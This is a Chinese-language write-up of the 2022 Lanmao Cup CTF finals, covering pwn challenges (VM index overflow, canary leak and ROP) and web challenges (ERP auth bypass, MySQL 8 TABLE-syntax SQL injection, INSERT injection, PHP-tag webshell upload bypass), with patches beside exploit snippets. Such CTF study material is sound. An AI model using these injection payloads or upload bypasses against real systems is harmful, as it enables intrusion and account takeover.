2022蓝帽杯决赛WriteUp
字数 1297 2025-08-06 12:20:51

2022蓝帽杯决赛WriteUp技术分析

PWN题目分析

1. mvm题目

漏洞分析

  • 实现了一个栈虚拟机,提供栈和寄存器之间的数据存取及运算功能
  • 关键漏洞:寄存器下标检测使用有符号数比较(jle),导致:
    • 负数下标可越界向前读取
    • 足够大的负数下标乘8后会溢出为正数,实现越界写

防御方案

  • 将有符号比较(jle)改为无符号比较(jbe)

攻击利用

  1. 利用越界读获取栈上残留的libc基址
  2. 将one_gadget与基址偏移压入栈
  3. 通过减法运算计算实际地址
  4. 利用越界写修改返回地址

Exp关键代码

code = push(0x111) + push(0x222) + push(0x333) + push(0x444)
code += push_reg(-0x15-1) + push(0x7ffff7fc16a0-0x7ffff7ebbc81) + sub() + pop_reg(-0x3fffffffffffffff-1+(0x20050/8)+1)

2. 杀猪盘题目

漏洞分析

  • 明显的栈溢出漏洞(缓冲区0xa0,读入0x100)
  • 虽然开启canary但提供两次操作机会

防御方案

  • 将两处0x100读入限制改为0xa0或更小

攻击利用

  1. 第一次输入覆盖canary低字节\x00
  2. 输出泄露完整canary
  3. 第二次输入劫持控制流
  4. 通过搜索/bin/sh\0找到类似one_gadget的代码
  5. 使用gadget调整寄存器(如pop r12; ret)

Exp关键步骤

# 第一次泄露canary
sea("你试着给她发短信说道:",'u'*0x99)
ru("u"*0x99)
canary = uu64('\0'+rc(7))

# 第二次ROP攻击
sea("又发了一条短信","u"*0x98+p64(canary)+p64(stack)+p64(0x000000000000cb6f+BASE)+p64(0)+p64(BASE+0xA193E))

WEB题目分析

1. 赌怪题目

漏洞背景

  • 基于华夏ERP项目,存在已知授权绕过和命令执行漏洞

防御方案

  • 修改LogCostFilter.java,对所有请求进行认证检查
  • 防止认证绕过导致的后续命令执行

2. simple-fish题目

漏洞分析

  • 存在SQL注入漏洞,特别是db.php中的waf过滤不严
  • 初始waf过滤:
function waf($s){
  if (preg_match("/select|flag|union|\\\\$|\'|\"|--|#|\\0|into|alert|img|prompt|set/is",$s)||strlen($s)>1000){
    header("Location: /");
    die();
  }
}

防御方案

  • 加强waf过滤,添加对空格、注释符等的过滤:
function waf($s){
  if (preg_match("/select|flag|union|\\\\$|\'|\"|--|#|\\0|into|alert|img|prompt|set|-|#|\*|\/|\n| |\t/is",$s)||strlen($s)>1000){
    header("Location: /");
    die();
  }
}

攻击利用

  1. 使用默认账号admin/hardpass登录
  2. 利用MySQL 8.x的TABLE注入绕过过滤:
m=data where (1,0x666c6167)>(table fish.F5fl11A6g99 limit 0,1)
  1. 编写自动化脚本逐字节爆破flag

3. 安全的系统题目

漏洞分析

  • 文件上传漏洞,analyse函数过滤不严:
if (preg_match("/(<\?php\s)|(<\?=)/i", $data)) {
    $stmt->execute(array($filehash, 'yes'));
    return false;
}
  • register.php中存在SQL注入点(phone参数未过滤)

防御方案

  • 在上传文件内容中删除<?标签:
file_put_contents($url,str_replace("<?","",file_get_contents($_FILES['file']['tmp_name'])));

攻击思路

  1. 利用register.php的INSERT注入创建role=0的用户:
INSERT INTO users (`role`, `username`, `password`, `phone`, `idcard`, `name`) 
VALUES('2','admin', '123456', '123','123','123'),('0','admin','123456','admin
  1. 使用role=0账号登录后上传webshell
  2. 绕过analyse过滤使用替代PHP标签:
<? phpinfo();?><script language="php">phpinfo()</script>

关键知识点总结

  1. 有符号/无符号比较漏洞

    • 汇编指令jle(有符号)与jbe(无符号)的区别
    • 负数下标导致的越界访问
  2. Canary绕过技术

    • 利用部分覆盖泄露canary
    • 二次输入完成ROP链构造
  3. MySQL 8.x TABLE注入

    • 使用TABLE语法替代SELECT绕过过滤
    • 比较运算符在数据泄露中的应用
  4. INSERT注入技巧

    • 多值插入绕过:VALUES(...),(...)
    • 使用ON DUPLICATE KEY UPDATE修改数据
  5. PHP标签绕过

    • 短标签<?与标准标签<?php的区别
    • <script language="php">替代标签
  6. 文件上传防御

    • 内容过滤比扩展名检查更重要
    • 关键函数hook点选择

以上技术点在实际漏洞挖掘和防御中都具有重要参考价值,特别是在CTF竞赛和真实世界Web应用安全中。

2022蓝帽杯决赛WriteUp技术分析 PWN题目分析 1. mvm题目 漏洞分析 : 实现了一个栈虚拟机,提供栈和寄存器之间的数据存取及运算功能 关键漏洞:寄存器下标检测使用有符号数比较(jle),导致: 负数下标可越界向前读取 足够大的负数下标乘8后会溢出为正数,实现越界写 防御方案 : 将有符号比较(jle)改为无符号比较(jbe) 攻击利用 : 利用越界读获取栈上残留的libc基址 将one_ gadget与基址偏移压入栈 通过减法运算计算实际地址 利用越界写修改返回地址 Exp关键代码 : 2. 杀猪盘题目 漏洞分析 : 明显的栈溢出漏洞(缓冲区0xa0,读入0x100) 虽然开启canary但提供两次操作机会 防御方案 : 将两处0x100读入限制改为0xa0或更小 攻击利用 : 第一次输入覆盖canary低字节\x00 输出泄露完整canary 第二次输入劫持控制流 通过搜索/bin/sh\0找到类似one_ gadget的代码 使用gadget调整寄存器(如pop r12; ret) Exp关键步骤 : WEB题目分析 1. 赌怪题目 漏洞背景 : 基于华夏ERP项目,存在已知授权绕过和命令执行漏洞 防御方案 : 修改LogCostFilter.java,对所有请求进行认证检查 防止认证绕过导致的后续命令执行 2. simple-fish题目 漏洞分析 : 存在SQL注入漏洞,特别是db.php中的waf过滤不严 初始waf过滤: 防御方案 : 加强waf过滤,添加对空格、注释符等的过滤: 攻击利用 : 使用默认账号admin/hardpass登录 利用MySQL 8.x的TABLE注入绕过过滤: 编写自动化脚本逐字节爆破flag 3. 安全的系统题目 漏洞分析 : 文件上传漏洞,analyse函数过滤不严: register.php中存在SQL注入点(phone参数未过滤) 防御方案 : 在上传文件内容中删除 <?标签: 攻击思路 : 利用register.php的INSERT注入创建role=0的用户: 使用role=0账号登录后上传webshell 绕过analyse过滤使用替代PHP标签: 关键知识点总结 有符号/无符号比较漏洞 : 汇编指令jle(有符号)与jbe(无符号)的区别 负数下标导致的越界访问 Canary绕过技术 : 利用部分覆盖泄露canary 二次输入完成ROP链构造 MySQL 8.x TABLE注入 : 使用TABLE语法替代SELECT绕过过滤 比较运算符在数据泄露中的应用 INSERT注入技巧 : 多值插入绕过: VALUES(...),(...) 使用ON DUPLICATE KEY UPDATE修改数据 PHP标签绕过 : 短标签 <? 与标准标签 <?php 的区别 <script language="php"> 替代标签 文件上传防御 : 内容过滤比扩展名检查更重要 关键函数hook点选择 以上技术点在实际漏洞挖掘和防御中都具有重要参考价值,特别是在CTF竞赛和真实世界Web应用安全中。